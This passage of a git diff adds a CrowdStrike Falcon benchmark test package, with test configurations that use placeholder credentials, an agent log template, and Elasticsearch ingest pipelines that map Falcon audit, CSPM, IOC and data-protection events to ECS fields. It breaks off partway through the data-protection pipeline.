diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.yml
new file mode 100644
index 0000000000..2afd89811e
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.yml
@@ -0,0 +1,10 @@
+input: streaming
+vars:
+data_stream:
+  vars:
+    url: http://host.tld
+    client_id: test_client_id
+    client_secret: test_client_secret
+    token_url: http://host.tld/oauth2/token
+    app_id: test_app_id
+    preserve_original_event: true
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-logfile-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-logfile-config.yml
new file mode 100644
index 0000000000..d26edaaf9e
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-logfile-config.yml
@@ -0,0 +1,7 @@
+service: crowdstrike-logfile
+input: logfile
+data_stream:
+  vars:
+    preserve_original_event: true
+    paths:
+      - "{{SERVICE_LOGS_DIR}}/falcon-*.log"
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-streaming-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-streaming-config.yml
new file mode 100644
index 0000000000..0cc9daccf8
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-streaming-config.yml
@@ -0,0 +1,12 @@
+input: streaming
+service: crowdstrike-streaming
+data_stream:
+  vars:
+    url: http://{{Hostname}}:{{Port}}
+    client_id: slightlysecretclientid
+    client_secret: totallysecretlientsecret
+    token_url: http://{{Hostname}}:{{Port}}/oauth2/token
+    app_id: nonsecretappid
+    preserve_original_event: true
+assert:
+  hit_count: 3
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/agent/stream/log.yml.hbs b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/agent/stream/log.yml.hbs
new file mode 100644
index 0000000000..f06f0a6c29
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/agent/stream/log.yml.hbs
@@ -0,0 +1,26 @@
+paths:
+{{#each paths as |path i|}}
+ - {{path}}
+{{/each}}
+exclude_files: ['\.gz$']
+# Crowdstrike Falcon SIEM connector logs are multiline JSON by default
+multiline.pattern: '^{'
+multiline.negate: true
+multiline.match: after
+multiline.max_lines: 5000
+multiline.timeout: 10
+tags:
+{{#if preserve_original_event}}
+  - preserve_original_event
+{{/if}}
+{{#each tags as |tag i|}}
+  - {{tag}}
+{{/each}}
+{{#contains "forwarded" tags}}
+publisher_pipeline.disable_host: true
+{{/contains}}
+allow_deprecated_use: true
+{{#if processors}}
+processors:
+{{processors}}
+{{/if}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/auth_activity_audit.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/auth_activity_audit.yml
new file mode 100644
index 0000000000..5246d157d7
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/auth_activity_audit.yml
@@ -0,0 +1,97 @@
+---
+processors:
+  - set:
+      tag: set_event_kind_de80643c
+      field: event.kind
+      value: event
+  - append:
+      field: event.category
+      value: iam
+      tag: append_iam_category
+      if: ctx.crowdstrike?.event?.OperationName != null && !["twoFactorAuthenticate", "userAuthenticate"].contains(ctx.crowdstrike.event.OperationName)
+  - append:
+      field: event.category
+      value: authentication
+      tag: append_auth_category
+      if: ctx.crowdstrike?.event?.OperationName != null && ["twoFactorAuthenticate", "userAuthenticate"].contains(ctx.crowdstrike.event.OperationName)
+  - append:
+      field: event.type
+      value: user
+      tag: append_user_type
+      if: ctx.crowdstrike?.event?.OperationName != null && ["activateUser", "changePassword", "confirmResetPassword", "deactivateUser", "grantUserRoles", "grantCustomerSubscriptions", "revokeUserRoles", "revokeCustomerSubscriptions", "updateUser", "updateUserRoles"].contains(ctx.crowdstrike.event.OperationName)
+  - append:
+      field: event.type
+      value: change
+      tag: append_change_type
+      if: ctx.crowdstrike?.event?.OperationName != null && ["activateUser", "changePassword", "confirmResetPassword", "deactivateUser", "grantUserRoles", "grantCustomerSubscriptions", "revokeUserRoles", "revokeCustomerSubscriptions", "updateUser", "updateUserRoles"].contains(ctx.crowdstrike.event.OperationName)
+  - append:
+      field: event.type
+      value: creation
+      tag: append_creation_type
+      if: ctx.crowdstrike?.event?.OperationName != null && ctx.crowdstrike.event.OperationName == "createUser"
+  - append:
+      field: event.type
+      value: deletion
+      tag: append_deletion_type
+      if: ctx.crowdstrike?.event?.OperationName != null && ctx.crowdstrike.event.OperationName == "deleteUser"
+  - grok:
+      tag: grok_crowdstrike_event_UserId_70ae09b7
+      field: crowdstrike.event.UserId
+      patterns:
+        - '%{USERNAME:user.name}@%{HOSTNAME:user.domain}'
+        - '%{GREEDYDATA:user.name}'
+      ignore_missing: true
+      ignore_failure: true
+  - set:
+      field: user.email
+      copy_from: crowdstrike.event.UserId
+      tag: copy_user_email
+      if: ctx.crowdstrike?.event?.UserId != null && ctx.crowdstrike.event.UserId.indexOf("@") > 0
+  - append:
+      field: event.action
+      value: '{{{crowdstrike.event.OperationName}}}'
+      tag: append_operation_name
+      if: ctx.crowdstrike?.event?.OperationName != null
+  - append:
+      field: event.action
+      value: AuthActivityAuditEvent
+      tag: append_auth_activity_audit_event
+      if: ctx.event?.action == null
+  - set:
+      field: event.outcome
+      value: success
+      tag: set_success_outcome
+      if: ctx.crowdstrike?.event?.Success == true
+  - set:
+      field: event.outcome
+      value: failure
+      tag: set_failure_outcome
+      if: ctx.crowdstrike?.event?.Success == false
+  - set:
+      field: event.outcome
+      value: unknown
+      tag: set_unknown_outcome
+      if: ctx.event?.outcome == null
+  - rename:
+      field: crowdstrike.event.ServiceName
+      target_field: message
+      tag: rename_service_name
+      ignore_missing: true
+  - rename:
+      field: crowdstrike.event.UserIp
+      target_field: source.ip
+      tag: rename_user_ip
+      ignore_missing: true
+
+on_failure:
+  - append:
+      field: error.message
+      value: |-
+        Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}"
+  - set:
+      field: event.kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/cspm_events.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/cspm_events.yml
new file mode 100644
index 0000000000..2d52e72e62
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/cspm_events.yml
@@ -0,0 +1,171 @@
+---
+processors:
+  - set:
+      tag: set_event_kind_39295792
+      field: event.kind
+      value: alert
+  - append:
+      field: event.category
+      value: configuration
+      tag: append_configuration_category
+  - append:
+      field: event.type
+      value:
+        - info
+        - change
+      tag: append_info_change_type
+  - set:
+      tag: set_event_outcome_312fe321
+      field: event.outcome
+      value: success
+      if: ctx.crowdstrike?.event?.Disposition == "Passed"
+  - set:
+      tag: set_event_outcome_6c6787f5
+      field: event.outcome
+      value: failure
+      if: ctx.crowdstrike?.event?.Disposition == "Failed"
+  - rename:
+      field: crowdstrike.event.EventAction
+      target_field: event.action
+      ignore_missing: true
+      tag: rename_event_action
+  - rename:
+      field: crowdstrike.event.ReportUrl
+      target_field: event.reference
+      ignore_missing: true
+      tag: rename_event_resource_url
+  - json:
+      field: crowdstrike.event.ResourceAttributes
+      tag: decode_json_resource_attributes
+      if: ctx.crowdstrike?.event?.ResourceAttributes != null
+  - rename:
+      field: crowdstrike.event.EventSource
+      target_field: event.provider
+      ignore_missing: true
+      tag: rename_event_source
+  - rename:
+      field: crowdstrike.event.AccountId
+      target_field: cloud.account.id
+      ignore_missing: true
+      if: ctx.cloud?.account?.id == null
+      tag: rename_cloud_account_id
+  - rename:
+      field: crowdstrike.event.Region
+      target_field: cloud.region
+      ignore_missing: true
+      if: ctx.cloud?.region == null
+      tag: rename_cloud_region
+  #CSPMS uses Platform, CSPMIOA uses Provider
+  - rename:
+      field: crowdstrike.event.CloudProvider
+      target_field: cloud.provider
+      ignore_missing: true
+      if: ctx.cloud?.provider == null
+      tag: rename_cloud_provider
+  - rename:
+      field: crowdstrike.event.CloudPlatform
+      target_field: cloud.provider
+      ignore_missing: true
+      if: ctx.cloud?.provider == null
+      tag: rename_cloud_platform
+  - rename:
+      field: crowdstrike.event.CloudService
+      target_field: cloud.service.name
+      ignore_missing: true
+      if: ctx.cloud?.service?.name == null
+      tag: rename_cloud_service
+  - rename:
+      field: crowdstrike.event.PolicyStatement
+      target_field: message
+      ignore_missing: true
+      tag: rename_policy_statement
+  - rename:
+      field: crowdstrike.event.UserName
+      target_field: user.name
+      ignore_missing: true
+      tag: rename_user_name
+  - rename:
+      field: crowdstrike.event.UserId
+      target_field: user.id
+      ignore_missing: true
+      tag: rename_user_id
+  - rename:
+      field: crowdstrike.event.UserSourceIp
+      target_field: source.ip
+      ignore_missing: true
+      tag: rename_user_source_ip
+  - date:
+      field: crowdstrike.event.Timestamp
+      target_field: "@timestamp"
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_timestamp_ms
+      if: "ctx.crowdstrike?.event?.Timestamp != null && String.valueOf(ctx.crowdstrike.event.Timestamp).length() >= 12"
+  - date:
+      field: crowdstrike.event.Timestamp
+      target_field: "@timestamp"
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_timestamp
+      if: 'ctx.crowdstrike?.event?.Timestamp != null && String.valueOf(ctx.crowdstrike.event.Timestamp).length() <= 11'
+  - date:
+      field: crowdstrike.event.EventCreatedTimestamp
+      target_field: "@timestamp"
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_event_created_timestamp_ms
+      if: "ctx.crowdstrike?.event?.EventCreatedTimestamp != null && String.valueOf(ctx.crowdstrike.event.EventCreatedTimestamp).length() >= 12"
+  - date:
+      field: crowdstrike.event.EventCreatedTimestamp
+      target_field: "@timestamp"
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_event_created_timestamp
+      if: 'ctx.crowdstrike?.event?.EventCreatedTimestamp != null && String.valueOf(ctx.crowdstrike.event.EventCreatedTimestamp).length() <= 11'
+  - remove:
+      field: crowdstrike.event.ResourceCreateTime
+      ignore_missing: true
+      tag: remove_resource_create_time
+      if: ctx.crowdstrike?.event?.ResourceCreateTime != null && ctx.crowdstrike.event.ResourceCreateTime == 0
+  - date:
+      field: crowdstrike.event.ResourceCreateTime
+      target_field: crowdstrike.event.ResourceCreateTime
+      timezone: UTC
+      formats:
+        - UNIX_MS
+      tag: date_resource_create_time_ms
+      if: "ctx.crowdstrike?.event?.ResourceCreateTime != null && ctx.crowdstrike.event.ResourceCreateTime != 0 && String.valueOf(ctx.crowdstrike.event.ResourceCreateTime).length() >= 12"
+  - date:
+      field: crowdstrike.event.ResourceCreateTime
+      target_field: crowdstrike.event.ResourceCreateTime
+      timezone: UTC
+      formats:
+        - UNIX
+      tag: date_resource_create_time
+      if: 'ctx.crowdstrike?.event?.ResourceCreateTime != null && ctx.crowdstrike.event.ResourceCreateTime != 0 && String.valueOf(ctx.crowdstrike.event.ResourceCreateTime).length() <= 11'
+  - append:
+      field: threat.tactic.name
+      value: "{{{crowdstrike.event.Tactic}}}"
+      tag: append_tactic_name
+      if: ctx.crowdstrike?.event?.Tactic != null
+  - append:
+      field: threat.technique.name
+      value: "{{{crowdstrike.event.Technique}}}"
+      tag: append_technique_name
+      if: ctx.crowdstrike?.event?.Technique != null
+on_failure:
+  - append:
+      field: error.message
+      value: |-
+        Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}"
+  - set:
+      field: event.kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/customer_ioc_event.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/customer_ioc_event.yml
new file mode 100644
index 0000000000..cc25d2bf9c
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/customer_ioc_event.yml
@@ -0,0 +1,218 @@
+---
+description: Pipeline for processing customer IOC event logs.
+processors:
+  - set:
+      field: event.kind
+      value: enrichment
+      tag: set_event_kind_to_enrichment
+  - append:
+      field: event.category
+      value: threat
+      tag: append_event_category_threat
+  - append:
+      field: event.type
+      value: indicator
+      tag: append_event_type_indicator
+  - set:
+      field: host.hostname
+      tag: set_host_hostname_from_event_ComputerName
+      copy_from: crowdstrike.event.ComputerName
+      ignore_empty_value: true
+  - set:
+      field: host.name
+      tag: set_host_name_from_event_ComputerName
+      copy_from: crowdstrike.event.ComputerName
+      ignore_empty_value: true
+  - set:
+      field: host.id
+      tag: set_host_id_from_event_DeviceId
+      copy_from: crowdstrike.event.DeviceId
+      ignore_empty_value: true
+  - set:
+      field: file.name
+      tag: set_file_name_from_event_FileName
+      copy_from: crowdstrike.event.FileName
+      ignore_empty_value: true
+  - set:
+      field: file.path
+      tag: set_file_path_from_event_FilePath
+      copy_from: crowdstrike.event.FilePath
+      ignore_empty_value: true
+  - convert:
+      field: crowdstrike.event.IPv4
+      tag: convert_IPv4_to_ip
+      target_field: threat.indicator.ip
+      type: ip
+      ignore_missing: true
+      if: ctx.crowdstrike?.event?.IPv4 != ''
+      on_failure:
+        - append:
+            tag: append_error_message_3dc7a86b
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: crowdstrike.event.IPv6
+      tag: convert_IPv6_to_ip
+      target_field: threat.indicator.ip
+      type: ip
+      ignore_missing: true
+      if: ctx.crowdstrike?.event?.IPv6 != ''
+      on_failure:
+        - append:
+            tag: append_error_message_ba148e71
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - geoip:
+      tag: geoip_threat_indicator_ip_to_threat_indicator_geo_1b4aa382
+      field: threat.indicator.ip
+      target_field: threat.indicator.geo
+      ignore_missing: true
+  - geoip:
+      tag: geoip_threat_indicator_ip_to_threat_indicator_as_22b400d3
+      database_file: GeoLite2-ASN.mmdb
+      field: threat.indicator.ip
+      target_field: threat.indicator.as
+      properties:
+        - asn
+        - organization_name
+      ignore_missing: true
+  - rename:
+      tag: rename_threat_indicator_as_asn_to_threat_indicator_as_number_3cdd79f1
+      field: threat.indicator.as.asn
+      target_field: threat.indicator.as.number
+      ignore_missing: true
+  - rename:
+      tag: rename_threat_indicator_as_organization_name_to_threat_indicator_as_organization_name_dcd73ab7
+      field: threat.indicator.as.organization_name
+      target_field: threat.indicator.as.organization.name
+      ignore_missing: true
+  - set:
+      field: process.parent.entity_id
+      tag: set_process_parent_entity_id_from_event_ParentProcessId
+      copy_from: crowdstrike.event.ParentProcessId
+      ignore_empty_value: true
+  - set:
+      field: process.entity_id
+      tag: set_process_entity_id_from_event_ProcessId
+      copy_from: crowdstrike.event.ProcessId
+      ignore_empty_value: true
+  - date:
+      field: crowdstrike.event.ProcessStartTime
+      tag: date_ProcessStartTime
+      target_field: process.start
+      formats:
+        - UNIX
+      if: ctx.crowdstrike?.event?.ProcessStartTime != null && ctx.crowdstrike.event.ProcessStartTime != ''
+      on_failure:
+        - append:
+            tag: append_error_message_f483d3bc
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  # set threat indicator name based on available fields in the event. Only one field will be available at a time.
+  - set:
+      field: threat.indicator.name
+      tag: set_threat_indicator_name_from_event_SHA256String
+      copy_from: crowdstrike.event.SHA256String
+      ignore_empty_value: true
+  - set:
+      field: threat.indicator.name
+      tag: set_threat_indicator_name_from_event_MD5String
+      copy_from: crowdstrike.event.MD5String
+      ignore_empty_value: true
+  - set:
+      field: threat.indicator.name
+      tag: set_threat_indicator_name_from_event_DomainName
+      copy_from: crowdstrike.event.DomainName
+      ignore_empty_value: true
+  - set:
+      field: threat.indicator.name
+      tag: set_threat_indicator_name_from_event_IPv4
+      copy_from: crowdstrike.event.IPv4
+      ignore_empty_value: true
+  - set:
+      field: threat.indicator.name
+      tag: set_threat_indicator_name_from_event_IPv6
+      copy_from: crowdstrike.event.IPv6
+      ignore_empty_value: true
+  # set threat indicator type based on available fields in the event. Only one field will be available at a time.
+  - set:
+      field: threat.indicator.type
+      tag: set_threat_indicator_type_to_ip_v4_addr
+      value: ipv4-addr
+      if: ctx.crowdstrike?.event?.IPv4 != null
+  - set:
+      field: threat.indicator.type
+      tag: set_threat_indicator_type_to_ip_v6_addr
+      value: ipv6-addr
+      if: ctx.crowdstrike?.event?.IPv6 != null
+  - set:
+      field: threat.indicator.type
+      tag: set_threat_indicator_type_to_domain_name
+      value: domain-name
+      if: ctx.crowdstrike?.event?.DomainName != null
+  - set:
+      field: threat.indicator.type
+      tag: set_threat_indicator_type_to_file
+      value: file
+      if: ctx.crowdstrike?.event?.SHA256String != null || ctx.crowdstrike?.event?.MD5String != null
+  - append:
+      field: related.ip
+      value: '{{{threat.indicator.ip}}}'
+      allow_duplicates: false
+      tag: append_related_ip
+      if: ctx.threat?.indicator?.ip != null && ctx.threat.indicator.ip != ""
+  - append:
+      field: related.hash
+      value: '{{{crowdstrike.event.SHA256String}}}'
+      allow_duplicates: false
+      tag: append_related_hash
+      if: ctx.crowdstrike?.event?.SHA256String != null && ctx.crowdstrike.event.SHA256String != ""
+  - append:
+      field: related.hash
+      value: '{{{crowdstrike.event.MD5String}}}'
+      allow_duplicates: false
+      tag: append_related_hash_b422ad09
+      if: ctx.crowdstrike?.event?.MD5String != null && ctx.crowdstrike.event.MD5String != ""
+  - append:
+      field: related.hosts
+      value: '{{{crowdstrike.event.DomainName}}}'
+      allow_duplicates: false
+      tag: append_related_hosts
+      if: ctx.crowdstrike?.event?.DomainName != null && ctx.crowdstrike.event.DomainName != ""
+  - remove:
+      field:
+        - crowdstrike.event.ComputerName
+        - crowdstrike.event.DeviceId
+        - crowdstrike.event.FileName
+        - crowdstrike.event.FilePath
+        - crowdstrike.event.ParentProcessId
+        - crowdstrike.event.ProcessId
+        - crowdstrike.event.ProcessStartTime
+      tag: remove_custom_duplicate_fields
+      ignore_missing: true
+  - set:
+      field: event.kind
+      tag: set_pipeline_error_into_event_kind
+      value: pipeline_error
+      if: ctx.error?.message != null
+  - append:
+      tag: append_tags_9fe66b2c
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
+      if: ctx.error?.message != null
+on_failure:
+  - append:
+      field: error.message
+      value: |-
+        Processor '{{{ _ingest.on_failure_processor_type }}}'
+        {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+        {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}'
+  - set:
+      field: event.kind
+      tag: set_pipeline_error_to_event_kind
+      value: pipeline_error
+  - append:
+      field: tags
+      value: preserve_original_event
+      allow_duplicates: false
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml
new file mode 100644
index 0000000000..e16e950f0b
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml
@@ -0,0 +1,310 @@
+---
+description: Pipeline for processing Data Protection Detection Summary events.
+processors:
+  # event categorization fields
+  - set:
+      field: event.kind
+      value: alert
+      tag: set_event_kind
+  - append:
+      field: event.category
+      value: malware
+      tag: append_malware_category
+  - append:
+      field: event.type
+      value: info
+      tag: append_info_type
+
+  # converts
+  - convert:
+      field: crowdstrike.event.DataVolume
+      tag: convert_DataVolume_to_long
+      type: long
+      ignore_missing: true
+      on_failure:
+        - append:
+            tag: append_error_message_ab90b5c9
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: crowdstrike.event.ContentPatterns.ConfidenceLevel
+      tag: convert_ContentPatterns_ConfidenceLevel_to_long
+      type: long
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_event_ContentPatterns_ConfidenceLevel_b676cd34
+            field: crowdstrike.event.ContentPatterns.ConfidenceLevel
+        - append:
+            tag: append_error_message_06f0ca6b
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: crowdstrike.event.ContentPatterns.MatchCount
+      tag: convert_ContentPatterns_MatchCount_to_long
+      type: long
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_event_ContentPatterns_MatchCount_80ca383c
+            field: crowdstrike.event.ContentPatterns.MatchCount
+        - append:
+            tag: append_error_message_3c072e8f
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: crowdstrike.event.FilesEgressedCount
+      tag: convert_FilesEgressedCount_to_long
+      type: long
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_event_FilesEgressedCount_2907b839
+            field: crowdstrike.event.FilesEgressedCount
+        - append:
+            tag: append_error_message_6339ac56
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: crowdstrike.event.UserNotified
+      tag: convert_UserNotified_to_boolean
+      type: boolean
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_event_UserNotified_35bb8357
+            field: crowdstrike.event.UserNotified
+        - append:
+            tag: append_error_message_a6eea08b
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: crowdstrike.event.UserMapped
+      tag: convert_UserMapped_to_boolean
+      type: boolean
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_event_UserMapped_87635939
+            field: crowdstrike.event.UserMapped
+        - append:
+            tag: append_error_message_09142f9e
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - convert:
+      field: crowdstrike.event.IsClipboard
+      tag: convert_IsClipboard_to_boolean
+      type: boolean
+      ignore_missing: true
+      on_failure:
+        - remove:
+            tag: remove_crowdstrike_event_IsClipboard_a661bb33
+            field: crowdstrike.event.IsClipboard
+        - append:
+            tag: append_error_message_3be036d0
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      field: crowdstrike.event.EventTimestamp
+      tag: date_EventTimestamp
+      target_field: crowdstrike.event.EventTimestamp
+      timezone: UTC
+      formats:
+        - UNIX
+      if: ctx.crowdstrike?.event?.EventTimestamp != null
+      on_failure:
+        - append:
+            tag: append_error_message_061def81
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  # Anomaly-based detections contains SessionStartTimestamp and SessionEndTimestamp fields
+  - date:
+      field: crowdstrike.event.SessionStartTimestamp
+      tag: date_SessionStartTimestamp
+      target_field: 'event.start'
+      timezone: UTC
+      formats:
+        - UNIX
+      if: ctx.crowdstrike?.event?.SessionStartTimestamp != null
+      on_failure:
+        - append:
+            tag: append_error_message_d22c109c
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - date:
+      field: crowdstrike.event.SessionEndTimestamp
+      tag: date_SessionEndTimestamp
+      target_field: 'event.end'
+      timezone: UTC
+      formats:
+        - UNIX
+      if: ctx.crowdstrike?.event?.SessionEndTimestamp != null
+      on_failure:
+        - append:
+            tag: append_error_message_bcb83d0c
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - script:
+      description: Determine event.duration from event start and end date.
+      tag: script_to_set_event_duration
+      lang: painless
+      if: ctx.event?.start != null && ctx.event?.end != null
+      source: |
+        Instant event_start = ZonedDateTime.parse(ctx.event.start).toInstant();
+        Instant event_end = ZonedDateTime.parse(ctx.event.end).toInstant();
+        ctx.event['duration'] = ChronoUnit.NANOS.between(event_start, event_end);
+      on_failure:
+        - append:
+            tag: append_error_message_16889e98
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+
+  # ECS mappings
+  - set:
+      field: message
+      tag: set_message_from_event_Description
+      copy_from: crowdstrike.event.Description
+      ignore_empty_value: true
+  - set:
+      field: event.id
+      tag: set_event_id_from_event_EgressEventId
+      copy_from: crowdstrike.event.EgressEventId
+      ignore_empty_value: true
+  - set:
+      field: event.action
+      tag: set_event_action_from_event_Name
+      copy_from: crowdstrike.event.Name
+      ignore_empty_value: true
+  - set:
+      field: event.reference
+      tag: set_event_reference_from_event_FalconHostLink
+      copy_from: crowdstrike.event.FalconHostLink
+      ignore_empty_value: true
+  - set:
+      field: event.outcome
+      tag: set_event_outcome_success
+      value: success
+      if: ctx.crowdstrike?.event?.ResponseAction == 'allowed'
+  - set:
+      field: event.outcome
+      tag: set_event_outcome_failure
+      value: failure
+      if: ctx.crowdstrike?.event?.ResponseAction == 'blocked'
+  - set:
+      field: event.outcome
+      tag: set_event_outcome_unknown
+      value: unknown
+      override: false
+  - set:
+      field: file.hash.sha256
+      tag: set_file_hash_sha256_from_event_ContentSha
+      copy_from: crowdstrike.event.ContentSha
+      ignore_empty_value: true
+  - append:
+      field: related.hash
+      tag: append_file_hash_sha256_to_related_hash
+      value: '{{{file.hash.sha256}}}'
+      allow_duplicates: false
+      if: ctx.file?.hash?.sha256 != null
+  - set:
+      field: file.name
+      tag: set_file_name_from_event_Filename
+      copy_from: crowdstrike.event.Filename
+      ignore_empty_value: true
+  - script:
+      lang: painless
+      tag: extract_file_extension_from_filename
+      if: ctx.crowdstrike?.event?.Filename != null
+      source: |-
+        def idx = ctx.crowdstrike.event.Filename.lastIndexOf('.');
+        if (idx != -1) {
+          ctx.file = ctx.file ?: [:];
+          ctx.file.extension = ctx.crowdstrike.event.Filename.substring(idx + 1).toLowerCase();
+        }
+      on_failure:
+        - append:
+            tag: append_error_message_e648f418
+            field: error.message
+            value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - set:
+      field: file.size
+      tag: set_file_size_from_event_DataVolume
+      copy_from: crowdstrike.event.DataVolume
+      ignore_empty_value: true
+  - set:
+      field: host.name
+      tag: set_host_name_from_event_Hostname
+      copy_from: crowdstrike.event.Hostname
+      ignore_empty_value: true
+  - lowercase:
+      field: crowdstrike.event.Platform
+      tag: lowercase_Platform
+      target_field: host.os.platform
+      ignore_missing: true
+  - set:
+      field: rule.id
+      tag: set_rule_id_from_event_policy_id
+      copy_from: crowdstrike.event.Policy.ID
+      ignore_empty_value: true
+  - set:
+      field: rule.name
+      tag: set_rule_name_from_event_policy_name
+      copy_from: crowdstrike.event.Policy.Name
+      ignore_empty_value: true
+  - set:
+      field: user.id
+      tag: set_user_id_from_event_UserSid
+      copy_from: crowdstrike.event.UserSid
